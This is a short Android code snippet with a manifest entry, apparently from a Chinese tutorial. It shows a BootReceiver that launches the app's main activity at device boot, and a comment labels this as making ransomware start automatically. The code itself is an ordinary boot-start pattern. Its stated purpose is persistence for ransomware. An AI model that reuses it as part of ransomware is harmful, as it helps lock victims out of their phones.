开机启动

public class BootReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
// 启动Activity，实现开机自动启动勒索软件
Intent it = new Intent(context, MainActivity.class);
//创建任务栈存放启动的Activity
it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(it);
}

}

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

<receiver android:name="com.itheima.lesuo.BootReceiver">
<intent-filter >
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>